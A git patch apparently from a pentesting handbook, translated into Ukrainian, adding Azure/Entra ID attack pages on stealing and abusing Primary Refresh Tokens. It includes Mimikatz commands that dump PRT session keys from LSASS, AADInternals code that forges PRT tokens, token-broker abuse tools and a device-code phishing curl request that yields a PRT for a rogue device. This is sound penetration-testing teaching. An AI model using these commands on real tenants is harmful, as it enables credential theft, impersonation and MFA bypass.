From f3543f19d278a421f26d84e6ee03dd9c98ff3575 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 16:05:02 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- src/SUMMARY.md | 9 +- .../az-pass-the-certificate.md | 12 +- ...g-primary-refresh-token-microsoft-entra.md | 7 - .../az-primary-refresh-token-prt.md | 255 +++++++++++++++++- .../az-processes-memory-access-token.md | 11 +- .../az-cloud-kerberos-trust.md | 76 ++++-- .../az-default-applications.md | 9 - .../{federation.md => az-federation.md} | 53 ++-- .../az-hybrid-identity-misc-attack.md | 29 ++ ... => az-pta-pass-through-authentication.md} | 18 +- .../az-synchronising-new-users.md | 30 --- .../az-entraid-privesc/README.md | 52 ++-- .../az-services/az-front-door.md | 18 ++ 13 files changed, 432 insertions(+), 147 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{federation.md => az-federation.md} (67%) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{pta-pass-through-authentication.md => az-pta-pass-through-authentication.md} (71%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-front-door.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f61a27c2f..48a80565e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -420,6 +420,7 @@ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) + - [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md) - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) @@ -442,21 +443,19 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md) - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index f7284eb5e..3ca7eda2f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 @@ ## Pass the Certificate (Azure) -В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Azure AD CA** для потрібного користувача (як суб'єкта), коли обидві машини підтримують механізм аутентифікації **NegoEx**. +В Azure приєднані машини можуть аутентифікуватися з однієї машини на іншу, використовуючи сертифікати, які **повинні бути видані Entra ID CA** для потрібного користувача (як суб'єкт), коли обидві машини підтримують механізм аутентифікації **NegoEx**. У спрощених термінах: -- Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Azure AD для користувача**. -- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням ключа сесії та контексту безпеки), і **надсилає його до Azure AD**. -- Azure AD перевіряє підпис JWT, використовуючи ключ сесії клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**. +- Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Entra ID для користувача**. +- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням ключа сесії та контексту безпеки), і **надсилає його до Entra ID**. +- Entra ID перевіряє підпис JWT, використовуючи ключ сесії клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**. У цьому сценарії, після збору всієї необхідної інформації для атаки [**Pass the PRT**](pass-the-prt.md): @@ -24,12 +24,12 @@ ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Сертифікати будуть діяти так само, як і PRT. Щоб використовувати сертифікат, ви можете скористатися інструментом python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), який **автентифікує** на віддаленій машині, запускає **PSEXEC** і **відкриває CMD** на машині жертви. Це дозволить нам знову використовувати Mimikatz, щоб отримати PRT іншого користувача. +Сертифікати будуть діяти так само, як і PRT. Щоб використовувати сертифікат, ви можете скористатися інструментом python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC), який **автентифікується** на віддаленій машині, запускає **PSEXEC** і **відкриває CMD** на машині жертви. Це дозволить нам знову використовувати Mimikatz, щоб отримати PRT іншого користувача. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` ## Посилання -- Для отримання додаткової інформації про те, як працює Pass the Certificate, перегляньте оригінальний пост [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Для отримання додаткової інформації про те, як працює Pass the Certificate, перегляньте оригінальну публікацію [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md deleted file mode 100644 index ced584c12..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ /dev/null @@ -1,7 +0,0 @@ -# Az - Фішинг первинного токена оновлення (Microsoft Entra) - -{{#include ../../../banners/hacktricks-training.md}} - -**Перевірте:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index fb43a611d..cf24fc53b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,259 @@ {{#include ../../../banners/hacktricks-training.md}} -**Перегляньте пост за адресою** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) хоча інший пост, що пояснює те ж саме, можна знайти за адресою [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +## Що таке Primary Refresh Token (PRT)? + +**Primary Refresh Token (PRT)** - це довгостроковий токен оновлення, що використовується в аутентифікації Azure AD (Entra ID), аналогічний Kerberos TGT. Він видається під час входу користувача на пристрій, приєднаний до Azure AD, і може використовуватися для запиту токенів доступу для різних додатків без повторного запиту облікових даних. Кожен PRT супроводжується **ключем сесії** (також званим ключем доказу володіння) - симетричним ключем, що використовується для підписання запитів і доведення того, що клієнт має PRT. Сам PRT є непрозорим, зашифрованим об'єктом (нечитаним клієнтом), тоді як ключ сесії використовується для **підписання** JWT, що містить PRT під час запиту токенів. Іншими словами, володіння лише PRT недостатньо; зловмисник потребує ключа сесії, щоб довести легітимність, подібно до того, як потрібно мати як Kerberos TGT, так і його ключ сесії для аутентифікації. + +На Windows PRT і ключ сесії кешуються в процесі LSASS через плагін CloudAP. Якщо пристрій має **TPM** (модуль довірчої платформи), Azure AD прив'язує ключі до TPM для додаткової безпеки. Це означає, що на пристроях з TPM ключ сесії зберігається або використовується в межах TPM так, що його не можна безпосередньо прочитати з пам'яті за звичайних обставин. Якщо TPM недоступний (наприклад, на багатьох віртуальних машинах або старих системах), ключі зберігаються в програмному забезпеченні та захищені шифруванням DPAPI. В обох випадках зловмисник з адміністративними привілеями або виконанням коду на машині може спробувати **вивантажити PRT і ключ сесії з пам'яті** в рамках пост-експлуатації, а потім використовувати їх для підробки користувача в хмарі. +На відміну від звичайних токенів оновлення (які зазвичай специфічні для додатка), PRT є більш універсальним, дозволяючи вашому пристрою запитувати токени для майже будь-якого ресурсу або служби, інтегрованої з Entra ID. + +## Як працює PRT? + +Ось спрощене пояснення того, як працює PRT: + +1. **Реєстрація пристрою:** + +- Коли ваш пристрій (наприклад, ноутбук на Windows або мобільний телефон) приєднується або реєструється в Entra ID, він аутентифікується за допомогою ваших облікових даних (ім'я користувача/пароль/MFA). + +- Після успішної аутентифікації Entra ID видає PRT, прив'язаний конкретно до вашого пристрою. + +2. **Зберігання токенів:** + +- PRT надійно зберігається на вашому пристрої, часто захищений апаратними функціями, такими як модуль довірчої платформи (TPM), що забезпечує складність для несанкціонованих осіб витягти або зловживати ним. + +3. **Єдине входження (SSO):** + +- Щоразу, коли ви отримуєте доступ до програми, захищеної Entra ID (наприклад, додатки Microsoft 365, SharePoint, Teams), ваш пристрій безшумно використовує збережений PRT для запиту та отримання конкретного токена доступу для цього додатка. + +- Вам не потрібно повторно вводити свої облікові дані, оскільки PRT прозоро обробляє аутентифікацію. + +4. **Оновлення та безпека:** + +- PRT мають тривалий термін дії (зазвичай близько 14 днів), але постійно оновлюються, поки ваш пристрій активно використовується. + +- Якщо ваш пристрій стає скомпрометованим або втраченим, адміністратори можуть віддалено відкликати ваш PRT, негайно блокуючи несанкціонований доступ. + +### Чому PRT потужні? + +- **Універсальний доступ:** На відміну від звичайних токенів, обмежених одним додатком або ресурсом, PRT може полегшити доступ до всіх служб, інтегрованих з Entra ID. + +- **Покращена безпека:** Завдяки вбудованим апаратним захистам (таким як TPM) PRT забезпечують безпечне зберігання та використання токенів. + +- **Досвід користувача:** PRT значно покращують досвід користувача, зменшуючи часті запити на аутентифікацію та забезпечуючи справжнє безшовне SSO. + +## Як дізнатися, чи присутній PRT? + +- Перевірте, чи присутній PRT: +```bash +# Execute +dsregcmd /status +## Check if the value of AzureAdPrt is set to YES +``` +- Перевірте, чи захищено TPM: +```bash +Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned +# TpmPresent/Ready = True indicates the device can bind secrets to TPM. + +dsregcmd /status +# In Device State / WHfB prerequisites you’ll typically see: +# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key; +# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. +# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). +``` +## Витягування та використання незахищених PRT + +Згідно з [цією публікацією](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) на пристроях Windows **без прив'язки до TPM**, PRT та його сеансовий ключ знаходяться в LSASS (плагін CloudAP). Маючи локальні права адміністратора/SYSTEM на цьому пристрої, PRT-об'єкт та сеансовий ключ, зашифрований DPAPI, можна **зчитати з LSASS, сеансовий ключ розшифрувати за допомогою DPAPI, а ключ підпису отримати** для створення дійсного PRT-куки (`x‑ms‑RefreshTokenCredential`). Вам потрібні як PRT, так і його сеансовий ключ — рядка PRT недостатньо. + +### Mimikatz +```bash +privilege::debug +sekurlsa::cloudap +``` +Поле **PRT** містить зашифрований токен оновлення (зазвичай рядок base64), а KeyValue в ProofOfPossessionKey є зашифрованим за допомогою DPAPI сеансовим ключем (також base64). + +Потім, з виходу **`sekurlsa::cloudap`**, скопіюйте blob base64 з **`KeyValue`** всередині поля `ProofOfPossessionKey` (це сеансовий ключ, зашифрований за допомогою DPAPI). Цей зашифрований ключ не може бути використаний у такому вигляді – його потрібно розшифрувати, використовуючи облікові дані DPAPI системи. + +Оскільки шифрування DPAPI для системних секретів вимагає контексту системи машини, підніміть свій токен до SYSTEM і використовуйте модуль DPAPI Mimikatz для розшифровки: +```bash +token::elevate +dpapi::cloudapkd /keyvalue: /unprotect +``` +`token::elevate` буде імплементувати SYSTEM, а команда `dpapi::cloudapkd` з параметром `/unprotect` використає майстер-ключ DPAPI для розшифрування наданого KeyValue блобу. Це дає відкритий текст сесійного ключа, а також пов'язаний Derived Key та Context, використані для підпису: +- **Clear key** – 32-байтовий сесійний ключ у відкритому тексті (представлений у вигляді шістнадцяткового рядка). +- **Derived Key** – 32-байтовий ключ, отриманий з сесійного ключа та значення контексту (більше про це нижче). +- **Context** – 24-байтовий випадковий контекст, який використовувався при отриманні підписного ключа для PRT cookie. + +> [!NOTE] +> Якщо це не працює для вас, щоб імплементувати користувача, перевірте наступний розділ, використовуючи **`AADInternals`**. + +Тоді ви також можете використовувати mimikatz для генерації дійсного PRT cookie: +```bash +# Context is obtained from papi::cloudapkd /keyvalue: /unprotect +# Derivedkey is obtained from papi::cloudapkd /keyvalue: /unprotect +# PRT is obtained from sekurlsa::cloudap (filed "Prt" +dpapi::cloudapkd /context: /derivedkey: /prt: +``` +Mimikatz виведе підписаний JWT (кукі `PRT`) після рядка “Signature with key”, який містить PRT і підписаний за допомогою похідного ключа. Цей JWT можна скопіювати і використовувати в веб-сесії. Наприклад, зловмисник може відкрити браузер, перейти на `login.microsoftonline.com` і встановити кукі з назвою `x-ms-RefreshTokenCredential` зі значенням цього JWT. Коли браузер оновлюється або переходить, Azure AD буде вважати сесію автентифікованою (кукі PRT подається так, ніби відбулося SSO), і він видасть код авторизації або токен доступу для вказаного ресурсу. На практиці, можна перейти до ресурсу, такого як Office 365 або Azure portal; наявність дійсного кукі PRT означає, що Azure AD надасть доступ без додаткового входу (обминаючи MFA, оскільки PRT вже автентифікований). + +Ви також можете використовувати **`roadtx`** і **`roadrecon`** з PRT кукі, щоб видавати себе за користувача *(TODO: Знайти точні команди для використання roadtx/roadrecon для отримання облікових даних з PRT)*. + + +### AADInternals + +Модуль PowerShell **`AADInternals`** також можна використовувати з раніше отриманим PRT і ключем сесії для генерації дійсного токена PRT. Це корисно для автоматизації процесу отримання нового токена PRT з nonce, який можна використовувати для отримання токенів доступу для Azure AD Graph API або інших ресурсів: +```bash +# Code from https://aadinternals.com/post/prt/ +# Add the PRT to a variable +$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc" + +# Add padding +while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="} + +# Convert from Base 64 +$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) + +# Add the session key (Clear key) to a variable +$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808" + +# Convert to byte array and base 64 encode +$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne '')) + +# Generate a new PRTToken with nonce +$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey + +# Get an access token for MS Graph API +Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken +``` +Це отримує новий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом. + +## Зловживання захищеними PRT + +Незважаючи на згадані захисти, зловмисник, який вже скомпрометував пристрій (як локальний користувач або навіть SYSTEM), все ще може **зловживати PRT для отримання нових токенів доступу**, використовуючи власні API токенів Windows та компоненти безпеки. Замість того, щоб **екстрагувати** сирий PRT або ключ, зловмисник фактично **"просить" Windows використовувати PRT від їх імені**. У наступних розділах ми окреслюємо наразі дійсні техніки для зловживання PRT та їх сесійними ключами на актуальних пристроях Windows, де діють захисти TPM. Усі ці техніки припускають доступ після експлуатації на цільовій машині та **зосереджуються на зловживанні вбудованими аутентифікаційними потоками** (не потрібні непатчовані вразливості). + +### Архітектура Windows Token Broker та потік SSO + +Сучасний Windows обробляє хмарну аутентифікацію через вбудовану **архітектуру токенів брокера**, яка включає компоненти як в режимі користувача, так і в LSASS (Local Security Authority). Ключові елементи цієї архітектури включають: + +- **Плагін CloudAP LSASS:** Коли пристрій приєднано до Azure AD, LSASS завантажує пакети хмарної аутентифікації (наприклад, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), які керують PRT та запитами токенів. LSASS (який працює як SYSTEM) організовує зберігання, оновлення та використання PRT, а також взаємодіє з TPM для виконання криптографічних операцій (наприклад, підписання виклику PRT за допомогою сесійного ключа). + +- **Менеджер веб-облікових записів (WAM):** Менеджер веб-облікових записів Windows є фреймворком режиму користувача (доступним через COM/WinRT API), який дозволяє додаткам або браузерам запитувати токени для хмарних облікових записів без запиту облікових даних. WAM діє як брокер між користувацькими додатками та безпечним PRT, підтримуваним LSASS/TPM. Наприклад, бібліотека MSAL від Microsoft та певні компоненти ОС використовують WAM для безшумного отримання токенів, використовуючи PRT увійшовшого користувача. + +- **BrowserCore.exe та інтерфейси COM токенів брокера:** Для SSO в браузері Windows включає компонент під назвою **BrowserCore.exe** (розташований у *Windows Security\BrowserCore*). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. Під капотом BrowserCore використовує об'єкт COM, наданий `MicrosoftAccountTokenProvider.dll`, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "токен брокера" першої сторони, до якого будь-який процес, що працює як користувач, може звернутися для отримання токена SSO (за умови, що у користувача є дійсний PRT в LSASS). + +Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM) для створення **SSO токена** -- часто називається **PRT cookie** -- який потім повертається додатку або браузеру. PRT cookie є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку `x-ms-RefreshTokenCredential`), щоб підтвердити, що пристрій та користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA. + +### Крадіжка токенів на рівні користувача (не адміністратор) + +Коли зловмисник має **виконання коду на рівні користувача**, захист TPM PRT не заважає зловмиснику отримувати токени. Зловмисник **використовує вбудовані API токенів брокера Windows**: + +#### **BrowserCore (MicrosoftAccountTokenProvider COM)** + +BrowserCore надає клас COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) для отримання PRT cookie. Цей API COM легітимно викликається браузерами (розширеннями Chrome/Edge) для SSO Azure AD. + +- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** +```bash +RequestAADRefreshToken.exe --uri https://login.microsoftonline.com +``` +*(Повертає токен оновлення Azure AD або cookie PRT)* + +- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** +```bash +ROADtoken.exe --nonce +roadrecon auth --prt-cookie +``` +*(Генерує nonce, викликає BrowserCore для отримання PRT cookie, а потім викуповує його за допомогою ROADtools)* + + +### **API менеджера веб-акаунтів (WAM)** + +Зловмисники використовують легітимні бібліотеки аутентифікації Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) з процесів на рівні користувача для тихого отримання токенів, використовуючи PRT, захищений TPM. + + +- **[aadprt](https://posts.specterops.io/)** +```bash +execute-assembly aadprt.exe +``` +*(Отримує PRT cookie через COM інтерфейси)* + +- **[listwamaccounts](https://posts.specterops.io/)** +```bash +execute-assembly listwamaccounts.exe +``` +*(Перелік облікових записів Azure AD, які увійшли через WAM; визначає цільові токени)* + +- **Загальний приклад (PowerShell з MSAL)**: +```powershell +$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build() +$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result +$result.AccessToken +``` +*(Тихо отримує токен доступу, використовуючи PRT)* + +#### Зловживання токеном на рівні адміністратора / SYSTEM + +Якщо зловмисник підвищує свої привілеї до **Administrator або SYSTEM**, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж **COM/WAM token broker APIs**. PRT, захищені TPM, не запобігають цьому законному випуску токенів. + +### **Видача себе за користувача та отримання токена** + +Admin/SYSTEM може видавати себе за активні сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів. + +Для цього просто видайте себе за процес користувача (наприклад, `explorer.exe`) і викликайте API токен-брокера, використовуючи будь-яку техніку, прокоментовану в попередньому розділі. + +### **Пряме взаємодія з LSASS та токен-брокером (просунуто)** + +Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може "взаємодіяти з ключами PRT у LSASS, використовуючи крипто API". На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де сесійний ключ може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуаційні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається видачею себе за користувача та використанням задокументованих інтерфейсів токен-брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатися зламати шифрування. + +## Фішинг PRT + +Зловживайте **OAuth Device Code** потоком, використовуючи **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) та ресурс **Device Registration Service (DRS)**, щоб отримати **токен оновлення, який можна оновити до Primary Refresh Token (PRT)** після реєстрації **шкідливого пристрою**. + +### **Чому це працює** + +- **PRT** є **прив'язаним до пристрою** і дозволяє **SSO для (майже) будь-якого додатку, захищеного Entra**. +- Комбінація **Broker client + DRS** дозволяє фішинговому **токену оновлення** бути **обміняним на PRT** після реєстрації пристрою. +- **MFA не обходиться**: **користувач виконує MFA** під час фішингу; **вимоги MFA поширюються** на отриманий PRT, дозволяючи зловмиснику отримувати доступ до додатків **без подальших запитів**. + +**Передумови**: + +- **Аутентифікація користувача через Device Code** з використанням **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) та **DRS scopes/resource** (наприклад, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** або **`https://enrollment.manage.microsoft.com/`**). +- **Користувач може реєструвати пристрої** в Entra ID (**за замовчуванням: дозволено**, але може бути обмежено або обмежено квотою). +- **Відсутність блокуючих політик CA**, які **відключають Device Code** або **вимагають відповідні/гібридні пристрої** для цільових додатків (вони не зупинять випуск PRT, але **зупинять** **використання** його для доступу до захищених додатків). +- **Хост, контрольований зловмисником**, для запуску потоку та зберігання токенів/ключів пристроїв. + +**Потік атаки**: + +1. **Ініціюйте аутентифікацію Device Code** з **client_id = Broker** та **DRS scope/resource**; покажіть **код користувача** жертві. +```bash +curl -s -X POST \ +"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \ +-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \ +-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile" +``` +2. **Жертва входить на сайт Microsoft** (легітимний інтерфейс) і завершує **MFA** → **зловмисник отримує токен оновлення з обмеженням DRS** для клієнта Broker. + +3. **Зареєструвати підозрілий пристрій** в орендарі, використовуючи цей токен оновлення (об'єкт пристрою створюється і пов'язується з жертвою). + +4. **Оновити до PRT**, обмінюючи **токен оновлення + ідентичність/ключі пристрою** → **PRT** прив'язаний до пристрою зловмисника. + +5. **(Додаткова стійкість)**: якщо MFA була свіжою, **зареєструвати ключ Windows Hello for Business** для підтримки **довгострокового, безпарольного доступу**. + +6. **Зловживання**: обміняти **PRT** (або створити **PRT cookie**) для отримання **токенів доступу** для **Exchange/Graph/SharePoint/Teams/кастомних додатків** від імені користувача. + + +### Публічні інструменти та докази концепції + +- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Автоматизує OAuth потік, реєстрацію пристроїв та оновлення токенів. +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Скрипт з одною командою, що автоматизує фішинг коду пристрою до PRT+WHfB ключів. + + +## Посилання + +- [Блоговий пост Діркяна про PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +- [Пост Діркяна про фішинг PRT](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- [Пост Діркяна про зловживання PRT](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +- Пост SpecterOps про [Запит токенів Azure 